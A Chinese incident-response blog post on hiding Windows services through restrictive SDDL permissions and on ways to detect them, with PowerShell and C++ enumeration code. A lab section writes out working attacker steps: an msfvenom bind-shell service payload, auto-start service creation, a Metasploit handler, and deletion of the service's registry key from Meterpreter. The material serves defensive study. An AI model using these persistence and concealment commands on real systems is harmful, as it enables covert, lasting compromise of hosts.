【实战】服务隐藏与排查 | Windows 应急响应

news2024/9/21 0:32:56

0x00 简介

攻击者通过创建服务进行权限维持过程中,常常会通过一些手段隐藏服务,本文主要演示通过配置访问控制策略来实现隐藏的方式以及排查方法的探索

不包含通过修改内存中链表进行隐藏的方式

0x01 创建服务

直接选择默认的 XblGameSave 服务,这个服务为 Xbox Live 可保存游戏同步保存数据。如果此服务被停止,游戏保存数据将不会上传至 Xbox Live 或从 Xbox Live 下载。

图片

 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\XblGameSave

图片

 

sc qc XblGameSave

图片

 

图片

 

0x02 查询服务权限设置

sc sdshow "XblGameSave"

图片

 

D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

这是一段 安全描述符定义语言(Security Descriptor Definition Language | SDDL

具体含义可以参考

https://learn.microsoft.com/zh-cn/windows/win32/secauthz/security-descriptor-string-format

https://learn.microsoft.com/zh-cn/windows/win32/secauthz/ace-strings

https://learn.microsoft.com/zh-cn/windows/win32/services/service-security-and-access-rights

可以通过一些 SDDL 解析工具进行查看

https://github.com/canix1/SDDL-Converter

是一个 powershell 脚本,右键执行

图片

 

将 SDDL 放到其中进行解析

图片

 

这样看起来比较直观

0x03 修改服务权限设置

sc sdset "XblGameSave" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

图片

 

图片

 

0x04 测试隐藏效果

1. services.msc

图片

 

2. sc

sc queryex | findstr "XblGameSave"
sc query "XblGameSave"

图片

 

可以看到,常规检查的时候,无法直接看到 XblGameSave

通过 sc query 指定名称查找显示的是 拒绝访问

通过 sc qc 指定名称查找能够显示出正常内容

如果常规方式看不到,应急响应人员也无法知晓该活动的名称,也就无法查询到

3. PowerShell

Get-Service | findstr "XblGameSave"
Get-Service -Name "XblGameSave"

图片

 

指定名称查询都显示找不到任何服务

4. wmic

wmic service | findstr "XblGameSave"
wmic service where "Name='XblGameSave'" get Name, DisplayName, Description

图片

 

5. System Informer

https://systeminformer.sourceforge.io/

Process Hacker 的升级版

图片

 

也看不到

6. 注册表

图片

 

可以看到,注册表能够看到该服务,此时注册表多了一项 Security

图片

 

但是不只这一个注册表有 Security ,所以也不好粗暴地作为评判依据

0x05 思考排查方法

方法一 枚举法

按照计划任务隐藏时候的思路,先看一下 sc query 查询不存在的服务时报错是什么

图片

 

这里就可以看出区别,当然,完全可以用 sc qc 查询做对比,可能更好

这样的话,可以将注册表遍历一遍,之后获取服务名称,挨个查询,看看有没有拒绝访问的,这样就可以测试出是否存在隐藏的服务。当然,这前提是注册表有访问权限,如果攻击者额外设置了注册表权限,可以先取消注册表权限

方法二 高权限查看法

这种隐藏方式无非就是谁可以看,谁不可以看,在 Linux 中,几乎所有的限制对 root 都没用,我们分析一下刚才的权限设置

图片

 

这里似乎对 SYSTEM 并没有限制,那我们使用 SYSTEM 权限执行这些常规检查是否可以看到呢

0x06 枚举法

思路就是先获取注册表中服务名称,之后通过 sc query 进行查询,根据反馈进行判断

$services = Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object { $_.PSChildName }

$maliciousServices = foreach ($service in $services) {
    $queryOutput = sc.exe query $service 2>&1

    if ($queryOutput -like "*拒绝访问*") {
        $configOutput = sc.exe qc $service

        [PSCustomObject]@{
            ServiceName = $service
            Status = "拒绝访问"
            Config = $configOutput
        }
    }
}

if ($maliciousServices) {
    Write-Host "发现以下恶意服务:"
    $maliciousServices | Format-Table -AutoSize -Property ServiceName, Status

    foreach ($service in $maliciousServices) {
        Write-Host "--------------------------------------------------"
        Write-Host "Service Name: $($service.ServiceName)"
        Write-Host "Status: $($service.Status)"
        Write-Host "Service Config:"
        $configLines = $service.Config -split "`n"
        $configLines | ForEach-Object {
            $configLine = $_.Trim()
            if ($configLine -ne "" -and $configLine -notlike "[*]*") {
                Write-Host $configLine
            }
        }
        Write-Host "--------------------------------------------------"
    }
} else {
    Write-Host "未发现恶意服务."
}

图片

 

当然了,这是美化后的,如果你想简单一些,直接用下面的几行就够了

$services = Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object { $_.PSChildName }

foreach ($service in $services) {
    $queryOutput = sc.exe query $service 2>&1

    if ($queryOutput -like "*拒绝访问*") {
        Write-Output $service
    }
}

图片

 

0x07 高权限法

通过 PsExec64.exe 来获取 SYSTEM 权限

PsExec64.exe 是 SysinternalsSuite 套件中一款工具

https://learn.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite

PsExec64.exe -i -s cmd

图片

 

PsExec 似乎会导致输入法部分功能出现问题

尝试通过 SYSTEM 权限的 cmd 进行查询

sc queryex | findstr "XblGameSave"

图片

 

sc 看不到隐藏的服务

尝试通过 SYSTEM 启动 services.msc

图片

 

services.msc 看不到

图片

 

powershell 看不到

图片

wmic 看不到

创建低权限的用户组和新用户也不行

看来高权限法不行

0x08 删除服务

经过枚举法,已经获取到服务名称,现在通过 sc sdset 设置权限

sc sdset "XblGameSave" "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

图片

 

图片

 

这样就可以通过 services.msc 进行管理了

图片

 

删除服务

sc delete "ServiceName"

0x09 删除注册表文件夹会怎么样

1. 创建木马

这次使用 msf 生成一个服务木马来模拟服务

msfvenom -p windows/meterpreter/bind_tcp lport=4455 -f exe-service -o bind.exe

注意,这里指定的文件类型是 exe-service ,MSF 专门为服务准备的一类木马,中文资料上提到这个事极少

2. 创建服务

sc create test binPath= "C:\Users\Administrator\Desktop\bind.exe" start= auto depend= Tcpip obj= Localsystem

创建一个名为 test 的服务,开机自启动执行木马程序,监听 4455 端口

图片

 

启动服务测试一下

sc start test

图片

 

3. MSF 连接木马

msfconsole -q 
use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set rhost 10.211.55.6
set lport 4455
exploit

图片

 

服务已经正常启动,关闭连接,重启受害服务器,无用户登录状态下再次尝试连接

图片

 

图片

 

再次获取 shell,服务自启动没问题

4. 观察 MSF 服务情况

再次重启服务器,登录后查看服务信息如下

图片

 

从服务来看 test 服务已经停止了

从进程角度来看

图片

 

没有主动监听shell 相关进程

通过 MSF 进行连接

图片

 

服务监听是存在的

从网络层面看

图片

 

可以看到 MSF 与受害主机之间的连接

图片

 

通过 wmic 查看详细情况

wmic process where ProcessId=2216 get Name, ExecutablePath, CommandLine /format:list

图片

 

这样看来 exe-service 生成的是一个 dll 文件

图片

 

5. 通过 SDDL 设置隐藏服务

sc sdset "test" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

图片

 

图片

 

此时已经 Services.msc 已经看不到 test 服务了,这个上面我们已经测试过了

图片

 

获得的 shell 不受影响

6. 尝试删除注册表项

图片

 

尝试在 Meterpreter 中远程完成删除

reg deletekey -k "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\test"

图片

 

图片

 

注册表项成功被删除,这下我们原来的脚本应该也查不到隐藏的服务了

图片

 

图片

 

服务不受影响,这个看了上一篇文章的朋友们肯定有预期了,修改注册表对服务来说会在下次启动的时候才会有作用

图片

 

图片

 

  • sc qc 进行查询显示找不到指定的文件

  • sc query 显示还是拒绝访问

尝试重启服务器

 

图片

 

服务已经不存在了

0x10 思考排查方法

一般攻击者使用服务都是做持久化控制的,删掉注册表来对抗隐藏不是常规的思路,但是毕竟大家面对的也不是一群常规的人,如果真的是出现了这种奇葩,该如何进行检测呢?

注册表已经没了,现在还保存着服务列表信息的就只有内存里了吧

1. 进程角度

服务终究还是会产生一个或多个进程,按照它要实现的功能在内存空间执行,这就属于常规角度了

当然,可以把 Rundll32.exe 作为一个标志,很多安全软件也是这么做的,但是它的启动参数没有指定恶意 DLL 位置,而且感觉不太严谨

2. 日志查询

通过日志 Windows 日志 -> 系统

图片

 

其中来源为 Service Control Manager 的日志会记录服务的创建与执行

3. Windows API

如果 Windows API 呢

#include <iostream>
#include <windows.h>
#include <winsvc.h>

int main()
{
    SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
    if (schSCManager == NULL)
    {
        std::cout << "Failed to open Service Control Manager." << std::endl;
        return 1;
    }

    DWORD dwBytesNeeded, dwServicesReturned, dwResumeHandle = 0;
    EnumServicesStatusEx(
        schSCManager,
        SC_ENUM_PROCESS_INFO,
        SERVICE_TYPE_ALL,
        SERVICE_STATE_ALL,
        NULL,
        0,
        &dwBytesNeeded,
        &dwServicesReturned,
        &dwResumeHandle,
        NULL
    );

    LPENUM_SERVICE_STATUS_PROCESS lpServices = (LPENUM_SERVICE_STATUS_PROCESS)malloc(dwBytesNeeded);
    if (lpServices == NULL)
    {
        std::cout << "Failed to allocate memory." << std::endl;
        CloseServiceHandle(schSCManager);
        return 1;
    }

    if (!EnumServicesStatusEx(
        schSCManager,
        SC_ENUM_PROCESS_INFO,
        SERVICE_TYPE_ALL,
        SERVICE_STATE_ALL,
        (LPBYTE)lpServices,
        dwBytesNeeded,
        &dwBytesNeeded,
        &dwServicesReturned,
        &dwResumeHandle,
        NULL
    ))
    {
        std::cout << "Failed to enumerate services." << std::endl;
        free(lpServices);
        CloseServiceHandle(schSCManager);
        return 1;
    }

    std::cout << "Services:" << std::endl;
    for (DWORD i = 0; i < dwServicesReturned; i++)
    {
        std::wstring serviceName(lpServices[i].lpServiceName);
        std::wcout << serviceName << std::endl;
    }

    free(lpServices);
    CloseServiceHandle(schSCManager);

    return 0;
}

经过实验, Windows API 获取不到,即使是 SYSTEM 权限也查询不到

4. sc

sc 的命令报错意味着其实 sc 是可以知道 test 的存在的

但是这里有个问题

  • 一种情况是 sc 能够获取到服务列表,之后查询 test 是否存在

  • 一种情况是 sc 获取不到服务列表,但是可以将服务名称提交,之后返回信息

如果是第一种情况的话,我们可以直接获取到列表,如果是第二种情况,我们只能暴力枚举

由于 Windows 并不开源,我们无法直接知道 sc 到底是怎么做的

5. 通过内存获取

查阅一些资料后得知,服务信息应该归 SCM 来管,具体落到进程上就是 services.exe

图片

 

但是经过一堆尝试,并没有找到好的方式来从内存中获取服务列表信息

0x11 删除服务

只通过 SDDL 进行隐藏的服务恶意直接按照文中的方法,重新赋权,就可以删除或停止了

对于进行了 SDDL 同时删除了注册表项的服务,需要通过重启来进行删除

如果你也想学习这类安全技术,详情下方图片了解,扫下方二维码加入:只做高质量优质精内容

免责声明

由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1546427.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JDK8中ArrayList扩容机制

前言 这是基于JDK8的源码分析&#xff0c;在JDK6之前以及JDK11之后细节均有变动&#xff01;&#xff01; 首先来看ArrayList的构造方法 public class ArrayList<E> extends AbstractList<E>implements List<E>, RandomAccess, Cloneable, java.io.Seriali…

C语言-如何判断当前环境是大端存储还是小端存储

编写一个代码&#xff0c;判断当前环境是大端存储还是小端存储。 代码一&#xff1a; #include<stdio.h> int hanshu(int x) {int *p;p&x;return *(char*)p; } int main() {int a1; //00000001或者01000000if(hanshu(a)1){printf("小端存储");}else …

Spring设计模式-实战篇之单例模式

实现案例&#xff0c;饿汉式 Double-Check机制 synchronized锁 /*** 以饿汉式为例* 使用Double-Check保证线程安全*/ public class Singleton {// 使用volatile保证多线程同一属性的可见性和指令重排序private static volatile Singleton instance;public static Singleton …

Ubuntu20.04修改屏幕分辨率

Ubuntu20.04修改屏幕分辨率 使用命令行语句修改屏幕分辨率,并解决"xrandr: Configure crtc 0 failed"报错。 方法一 打开终端,输入xrandr,找到你当前使用的分辨率,比如1920x1080输入cvt 1920 1080,获取该分辨率的有效扫描频率输入sudo xrandr --newmode "…

秋招刷题2

1.字符串分割 public static void main(String[] args) {Scanner scnew Scanner(System.in);while(sc.hasNext()){String strsc.nextLine();StringBuilder sbnew StringBuilder();sb.append(str);int sizestr.length();int addZero8-size%8;while((addZero>0&&(addZ…

黑马鸿蒙学习(3):滑动条

1&#xff09; 滑动条slidebar属性&#xff1a;

安踏与耐克的赛场,不止在中国

安踏与耐克的赛场&#xff0c;不止在中国 文 | 螳螂观察 作者 | 易不二 2024年以来安踏集团喜讯不断。 继2月初亚玛芬登陆纽交所&#xff0c;成为北美资本市场2023年9月以来规模最大的IPO之后&#xff0c;安踏在近日又提交了一份再创历史新高的年报。从具体的财报数据来看&…

算法笔记~—位运算

目录 常见位运算&#xff1a; 1、基础位运算 2、对于一个数n。确定、修改这个数n二进制x位。 3、提取&#xff08;确定&#xff09;一个数n最右侧的1&#xff08;bit&#xff09;与干掉最右侧的1&#xff08;bit&#xff09; 4、异或运算律 5、位运算的优先级&#xff1a…

Focal Modulation Networks聚焦调制网络

摘要 我们提出了 焦点调制网络 &#xff08;简称 FocalNets) &#xff0c;其中 自注意&#xff08; SA &#xff09;被 Focal Modulation 替换&#xff0c;这种机制 包括三个组件&#xff1a;&#xff08; 1 &#xff09;通过 depth-wise Conv 提取分级的上下文信息&#xff0…

latex报错Undefined control sequence.

这里写目录标题 1. 错误原因2. 进行改正3. 爱思唯尔期刊与施普林格期刊对于算法的格式不太一样&#xff0c;不能直接套用总结---在LaTeX中&#xff0c;使用algorithm环境排版算法时&#xff0c;有一些格式注意事项 1. 错误原因 我在算法中使用\Require 2. 进行改正 换成\REQ…

YOLOv9改进策略:注意力机制 | 动态稀疏注意力的双层路由方法BiLevelRoutingAttention | CVPR2023

&#x1f4a1;&#x1f4a1;&#x1f4a1;本文改进内容&#xff1a; CVPR2023 动态稀疏注意力的双层路由方法BiLevelRoutingAttention&#xff0c;强烈推荐&#xff0c;涨点很不错&#xff0c;同时被各个领域的魔改次数甚多&#xff0c;侧面验证了性能。 &#x1f4a1;&#x1…

vue项目在本地源码方式启动和打包之后在nginx中代理有什么不同

Vue项目在本地源码方式启动和打包之后在Nginx中代理的主要区别在于开发环境与生产环境的配置、性能优化、安全性和部署流程等方面。以下是一些具体的差异点&#xff1a; 开发环境与生产环境&#xff1a; 本地源码启动通常是在开发环境中&#xff0c;使用Vue CLI的vue-cli-servi…

C++基础之继承续(十六)

一.基类与派生类之间的转换 可以把派生类赋值给基类可以把基类引用绑定派生类对象可以把基类指针指向派生类对象 #include <iostream>using std::cin; using std::cout; using std::endl;//基类与派生类相互转化 class Base { private:int _x; public:Base(int x0):_x(…

【Java多线程(2)】Thread常见方法和线程状态

目录 一、Thread类及常见方法 1. join() 等待一个线程 2. currentThread() 获取当前线程引用 3. sleep() 休眠当前线程 二、线程的状态 1. 线程的所有状态 2. 状态转移 一、Thread类及常见方法 接上文&#xff1a;多线程&#xff08;1&#xff09;http://t.csdnimg.cn/…

Docker 【安装MongoDB】

文章目录 前言一、安装二、使用1. 通过权限认证的方式登入2. 基础操作 前言 MongoDB是一个非关系型数据库&#xff0c;它主要的应用场景有这些 相比mysql&#xff0c;MongoDB没有事务&#xff0c;索引之类的东西。最小单位是文档。 可能有人说&#xff0c;为什么这个场景我要…

【无标题】如何使用 MuLogin 设置代理

如何使用 MuLogin 设置代理 使用 MuLogin 浏览器设置我们的代理&#xff0c;轻松管理多个社交媒体或电子商务帐户。 什么是MuLogin&#xff1f; MuLogin 是一款虚拟反检测浏览器&#xff0c;使用户能够管理多个电子商务、社交媒体和广告帐户&#xff0c;而无需验证码或 IP 禁…

canvas画带透明度的直线和涂鸦

提示&#xff1a;canvas画线 文章目录 前言一、带透明度的直线和涂鸦总结 前言 一、带透明度的直线和涂鸦 test.html <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content…

Chrome浏览器修改网页内容

方法一&#xff1a;使用开发者工具 在Chrome浏览器中打开要修改的网页。按下F12键打开开发者工具。在开发者工具窗口中&#xff0c;找到“Elements”标签页。在“Elements”标签页中&#xff0c;找到要修改的网页元素。双击要修改的网页元素&#xff0c;即可进行编辑。 方法二…

轻松掌握:使用 API 接口自动缩短网址的秘诀

在互联网的世界里&#xff0c;网址缩短已经成为了一种时尚和必要。长而复杂的网址不仅难以记忆&#xff0c;还可能让人望而却步。但是&#xff0c;现在有了 API 接口&#xff0c;我们可以轻松地将网址自动缩短&#xff0c;让分享变得更加简单和高效&#xff01;本文将以具体例子…

Protocol Buffers设计要点

概述 一种开源跨平台的序列化结构化数据的协议。可用于存储数据或在网络上进行数据通信。它提供了用于描述数据结构的接口描述语言&#xff08;IDL&#xff09;&#xff0c;也提供了根据 IDL 产生代码的程序工具。Protocol Buffers的设计目标是简单和性能&#xff0c;所以与 XM…